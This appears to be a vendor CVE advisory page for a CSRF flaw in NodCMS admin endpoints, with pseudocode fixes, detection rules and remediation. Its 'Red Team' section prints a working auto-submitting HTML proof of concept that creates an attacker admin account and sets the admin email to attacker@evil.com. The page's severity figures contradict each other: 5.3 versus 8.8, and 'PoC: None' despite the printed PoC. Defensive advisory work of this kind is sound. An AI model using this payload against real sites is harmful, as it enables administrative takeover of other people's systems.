☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2016-20054

CVE-2016-20054 is a Cross-Site Request Forgery (CSRF) vulnerability in NodCMS, a content management system.
📅 PUBLISHED: 2026-04-04 19:59 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2016-20054 is a Cross-Site Request Forgery (CSRF) vulnerability in NodCMS, a content management system. The flaw allows an attacker to trick an authenticated administrator into unknowingly submitting forged requests to the admin/user_manipulate and admin/settings/generall endpoints. This can result in the creation of unauthorized administrative users or the modification of critical application settings without the victim’s consent. The vulnerability has a CVSS v3.1 base score of 8.8 (High) due to the potential for complete compromise of confidentiality, integrity, and availability. No official patch has been identified, and the vendor’s status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NodCMS is a PHP-based CMS. While not distributed via NPM, PyPI, Go, or Ruby registries, it may be installed via Composer or direct download. Organizations using NodCMS should verify the integrity of their installation and consider the risk of supply chain attacks if the package is obtained from unofficial sources.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Base Score: 8.8 (High)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must be authenticated and tricked into clicking a link or submitting a form)
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

Threat Level: High. Exploitation requires minimal technical skill and can lead to full administrative control of the CMS.

Deep Dive & Mechanics

The vulnerability resides in the lack of CSRF tokens or origin validation on sensitive administrative endpoints. Specifically:

  • admin/user_manipulate: This endpoint handles user creation, modification, and deletion. Without CSRF protection, an attacker can craft a form that, when submitted by an authenticated admin, creates a new user with administrative privileges.
  • admin/settings/generall: This endpoint manages general application settings (e.g., site name, email, security configurations). An attacker can alter these settings to weaken security, redirect traffic, or exfiltrate data.

Attack Flow:

  1. Attacker crafts a malicious HTML page containing auto-submitting forms targeting the vulnerable endpoints.
  2. Attacker lures an authenticated NodCMS administrator to visit the page (e.g., via phishing email, forum post, or compromised site).
  3. The victim’s browser, carrying valid session cookies, submits the forged requests.
  4. The server processes the requests as legitimate, creating a new admin user or altering settings.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code likely lacks CSRF token validation. A patched version would include:

Vulnerable (PHP pseudocode):

// admin/user_manipulate.php
if ($_POST['action'] == 'create_user') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $role = $_POST['role'];
    // No CSRF check
    createUser($username, $password, $role);
}

Patched (PHP pseudocode):

// admin/user_manipulate.php
session_start();
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die('CSRF token validation failed');
}
if ($_POST['action'] == 'create_user') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $role = $_POST['role'];
    createUser($username, $password, $role);
}

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) HTML Form:

<html>
<body>
<h1>Click to win a prize!</h1>
<form id="csrf1" action="http://target.com/admin/user_manipulate" method="POST">
    <input type="hidden" name="action" value="create_user">
    <input type="hidden" name="username" value="attacker_admin">
    <input type="hidden" name="password" value="P@ssw0rd!">
    <input type="hidden" name="role" value="admin">
</form>
<form id="csrf2" action="http://target.com/admin/settings/generall" method="POST">
    <input type="hidden" name="site_name" value="Hacked">
    <input type="hidden" name="admin_email" value="attacker@evil.com">
</form>
<script>
    document.getElementById('csrf1').submit();
    document.getElementById('csrf2').submit();
</script>
</body>
</html>

Lab Setup:

  1. Install NodCMS on a local server (e.g., XAMPP, LAMP).
  2. Log in as an administrator.
  3. Host the PoC HTML on a separate domain or local file.
  4. Open the PoC in the same browser session (or simulate with a tool like Burp Suite).
  5. Observe that the admin user is created and settings are changed.

Blue Team

Detection:

  • Monitor for unexpected POST requests to /admin/user_manipulate and /admin/settings/generall from external referrers.
  • Alert on creation of new admin users outside of normal business hours.
  • Review server logs for unusual patterns of form submissions.

Prevention:

  • Implement CSRF tokens on all state-changing endpoints.
  • Validate the Origin and Referer headers.
  • Use SameSite cookies (e.g., SameSite=Lax or Strict).

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /admin/user_manipulate with parameters action=create_user, username=, password=, role=admin.
    • POST requests to /admin/settings/generall with unexpected parameter values.
  • Host:
    • New user accounts in the database with administrative privileges.
    • Modified site_name or admin_email in the settings table.
  • Logs:
    • Web server logs showing requests to /admin/user_manipulate and /admin/settings/generall with referrers not matching the application domain.

Detection Engineering

YARA Rule

rule CVE_2016_20054_CSRF_NodCMS {
    meta:
        description = "Detects CSRF exploitation attempts against NodCMS admin endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2016-20054"
    strings:
        $user_manipulate = "/admin/user_manipulate"
        $settings_generall = "/admin/settings/generall"
        $create_user = "action=create_user"
        $role_admin = "role=admin"
    condition:
        any of ($user_manipulate, $settings_generall) and
        any of ($create_user, $role_admin)
}

Sigma Rule

title: CSRF Exploitation Against NodCMS Admin Endpoints
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to NodCMS admin endpoints without proper CSRF protection
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        cs-uri-stem:
            - '/admin/user_manipulate'
            - '/admin/settings/generall'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF is implemented)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2016-20054 - NodCMS CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin/user_manipulate"; http_uri;
    content:"action=create_user"; http_client_body;
    content:"role=admin"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2016-20054;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable vulnerable endpoints if not required, or restrict access by IP.
  2. Implement CSRF tokens manually by modifying the application code (see patched code example).
  3. Use a Web Application Firewall (WAF) to block requests to /admin/user_manipulate and /admin/settings/generall with suspicious parameters.

Long-Term Fix:

  • Since no official patch exists, consider migrating to a supported CMS.
  • If continuing to use NodCMS, fork the repository and apply CSRF protection across all admin forms.

Workarounds:

  • Enforce SameSite=Strict cookies for the admin session.
  • Require re-authentication for sensitive actions (e.g., entering password again).

Valters IT
Securing Digital Frontiers

{/* [Security Hash: CA94A54A3E511A6ECB75F243] */}

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2016-20054/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.